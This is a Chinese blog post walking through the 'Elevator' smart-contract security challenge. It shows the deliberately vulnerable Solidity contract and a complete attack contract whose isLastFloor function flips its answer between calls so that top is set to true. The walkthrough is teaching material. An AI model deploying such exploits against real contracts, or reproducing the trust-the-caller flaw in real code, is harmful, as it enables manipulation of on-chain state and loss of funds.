# 安全审查-Elevator破解

By [Canvie.crypto](https://paragraph.com/@canvie-crypto) · 2025-07-29

---

有道安全题叫Elevator，意思是说要攻击这个合约，修改里面的top变量，使得top的值为true。我们先看原题：

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    interface Building {
        function isLastFloor(uint256) external returns (bool);
    }
    
    contract Elevator {
        bool public top;
        uint256 public floor;
    
        function goTo(uint256 _floor) public {
            Building building = Building(msg.sender);
    
            if (!building.isLastFloor(_floor)) {
                floor = _floor;
                top = building.isLastFloor(floor);
            }
        }
    }
    

  
首先需要building.isLastFloor(\_floor) == false，才能进到if内部，top = building.isLastFloor(floor); 要设置top为true的话，则building.isLastFloor(\_floor)又必须是true。这个是不是有点矛盾，同一个函数连续执行两次，输入相同，结果要相反。这个要怎么做到呢？突破点在Building(msg.sender)，只要我们自己的合约调用了goTo方法，那么msg.sender就是指向我们的攻击合约，那么控制权就在自己手上了。我们的攻击合约需要实现Building接口。剩下的就在isLastFloor()方法里做文章了。isLastFloor()返回bool变量，怎么做到连续调用两次返回相反的结果呢？我们知道，返回值是可以使用具名方式，那可以这样：

    function isLastFloor(uint256) external returns (bool r) {
          r = rs;
          rs = !rs;
        }
    

  
rs作为状态变量，每次执行isLastFloor()都会修改一次(rs = !rs)。r = rs；使得每次执行都会返回最新的rs值，这样就到达了每次调用都会返回不一样的结果了。完整代码如下：

    interface IElevator {
      function goTo(uint256 _floor) external ;
    }
    
    contract ElevatorAttack {
    
        bool public rs;
        IElevator public elevator;
    
        constructor(address _elevator) {
          elevator = IElevator(_elevator);
        }
    
        function goTo(uint256 _floor) public {
          elevator.goTo(_floor);
        }
        
        // 注意：r这个变量名定义的比较潦草，这里仅做演示用，真实编码环境不可学我！
        function isLastFloor(uint256) external returns (bool r) {
    
          r = rs;
          rs = !rs;
        }
    }
    

  
_如有任何问题欢迎邮件沟通：_[_huicanvie2014@gmail.com_](mailto:huicanvie2014@gmail.com)

---

*Originally published on [Canvie.crypto](https://paragraph.com/@canvie-crypto/elevator)*
